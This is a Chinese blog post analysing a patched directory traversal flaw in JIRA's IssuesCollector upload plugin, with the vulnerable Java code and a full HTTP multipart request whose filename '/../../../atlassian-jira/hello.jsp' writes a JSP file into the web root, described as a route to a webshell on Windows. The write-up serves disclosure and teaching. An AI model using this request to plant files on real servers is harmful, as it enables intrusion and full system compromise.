开源BUG跟踪平台JIRA目录遍历漏洞分析
作者 Taskiller
最近,一则新发布的公告报告了一个影响Jira 5.0.11和6.0.3版本的目录遍历漏洞,该漏洞在去年7月份被验证,并在接下来的几个月得以修复。
攻击方法很简单,但是潜在影响却是非常大的,该漏洞可能允许攻击者上传文件作为webshell。后文我会解决该漏洞如何通过静态分析发现,以及什么一个小细节使其只能在Windows系统上被利用。
漏洞识别
以下代码源自插件IssuesCollector,该插件使用REST api,支持上传屏幕截图文件作为附件附加到说明中。
com/atlassian/jira/collector/plugin/rest/TemporaryAttachmentsResource.java
[...]
@POST
@Path("multipart/{collectorId}")
@Consumes({"multipart/form-data"})
@Produces({"text/html"})
public
Response attachTemporaryFileViaForm(@PathParam("collectorId")
String collectorId, @MultipartFormParam("screenshot")
Collection<filepart> fileParts) { ServiceOutcome outcome =
this.collectorService.getCollector(collectorId);
[...]
FilePart
filePart = (FilePart)fileParts.iterator().next();
try
{
[...]
TemporaryAttachment
temporaryAttachment = createTemporaryAttachment(filePart.getName(),
filePart.getContentType(), filePart.getInputStream());
temporaryAttachmentsMonitor.add(temporaryAttachment);
context.put("temporaryAttachment",
temporaryAttachment);
return
Response.ok(renderTemplate("templates/rest/tempfilejson.vm",
context)).cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build();
}
catch
(IOException e) {
}
return
Response.serverError().cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build();
}
private
TemporaryAttachment createTemporaryAttachment(String fileName, String
contentType, InputStream inputStream)
{
File
tmpDir = AttachmentUtils.getTemporaryAttachmentDirectory();
long
uniqueId;
File
tempAttachmentFile;
do
{
uniqueId
= getUUID();
tempAttachmentFile
= new File(tmpDir, uniqueId + "_" + fileName);
}
while
(tempAttachmentFile.exists());
FileOutputStream
output = null;
try
{
output
= new FileOutputStream(tempAttachmentFile);
IOUtils.copy(inputStream,
output);
output.close();
}
catch
(IOException e)
{
IOUtils.closeQuietly(output);
log.error("Error
creating temporary attachment", e);
return
null;
}
return
new TemporaryAttachment(Long.valueOf(uniqueId), Long.valueOf(-1L),
tempAttachmentFile, fileName, contentType);
}
在第31行,代码将上传的文件移动到一个临时目录中,filename的值没有任何过滤,该值由多个部分组合而成,因此可以通过客户端控制。
31 tempAttachmentFile = new File(tmpDir, uniqueId + "_" +fileName);
来源:
13 [...]createTemporaryAttachment(filePart.getName(),filePart.getContentType(),
filePart.getInputStream());
漏洞利用
为了使文件上传到附件目录之外,可以用一个经典的目录遍历模式遍历到公共web目录的根目录(/atlassian-jira/)。在之前示例代码可以看到其并没有对文件内容进行过滤,因此可以上传一个JSP shell来获取系统权限。
POST
/rest/collectors/1.0/tempattachment/multipart/2c1ce5fa HTTP/1.1
Host:
hackme.atlassian.net
Cookie:
atlassian.xsrf.token=BQ79-A85Q-7DOM-UMFN|e98231aaaef98a0d9dc7c52e87f4e84cf9cd3085
Connection:
keep-alive
Content-Type:
multipart/form-data;
boundary=---------------------------16266315542468
Content-Length:
345
-----------------------------16266315542468
Content-Disposition:
form-data; name="screenshot";
filename="/../../../atlassian-jira/hello.jsp"
Content-Type:
text/plain
<h1>
Hello
world!</h1>
-----------------------------16266315542468
请求中的文件名"/../../../atlassian-jira/hello.jsp"会被连结到uniqueid从而代替临时目录路径。
在Windows系统上:
C:ProgramFilesAtlassianApplicationDataJIRAcachestmp_attachments6177763437089900999_/../../../atlassian-jira/hello.jsp
在Linux系统上:
/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_/../../../atlassian-jira/hello.jsp
在windows系统上路径会被规范化为"C:Program FilesAtlassianApplication DataJIRAatlassian-jirahello.jsp",之后文件被写入。换句话说,Linux系统会使用整个完整的路径,并会发现目录"/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_"根据不存在,因此无法利用。
这里可以将上传的文件替换为一个webshell。
漏洞修补
如果读者维护着一款Jira实例,应该已经接收到更新提示了,如果没有,请参考文章开头提到的公告。
参考
JIRASecurity Advisory 2014-02-26 : The official advisory
https://confluence.atlassian.com/display/JIRA/JIRA+Security+Advisory+2014-02-26
WASC:Path traversal : Complete description of the Path traversal vulnerability
http://projects.webappsec.org/w/page/13246952/Path%20Traversal
[via h3xstream]
- 自定义带图片和文字的ImageTextButton
- 超值干货:个人开发者如何使用免费又简单的开发后台
- 【周末分享】解决中文排版错位的JustifiedTextview控件
- 超级网络
- c++ fstream + string 处理大数据
- 超炫的FlowingDrawer效果
- 源码分享:仿余额宝数字跳动效果 TextCounter
- 一键清理应用数据或者清除应用缓存的方法
- 开发者必知:谷歌做了一个艰难的决定
- React编程思想
- 基于 React + Webpack 的音乐相册项目(下)
- Python中Keras深度学习库的回归教程
- Apache Spark 1.1中的统计功能
- 一次关闭所有Activity和连续点击两次返回键关闭程序的方法
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 实战远程文件同步(Remote File Sync)
- nginx cache的玩法
- PHP共享内存详解 前言
- 为了--force-pivoting参数,我问候了sqlmap开发者
- flexible array柔性数组、不定长的数据结构Struct详解
- 如何优雅打印nginx header和body
- Go的CSP并发模型实现:M, P, G
- Golang依赖管理工具:glide从入门到精通使用
- Redis的Multi的内幕真相
- shell expect权威指南和实战
- 3种方式限制ip访问Oracle数据库
- 服务发现之consul的介绍、部署和使用
- Mybatis处理查询map 为null 导致查询map无该key对象
- 深入对比TOML,JSON和YAML
- consul配置参数大全、详解、总结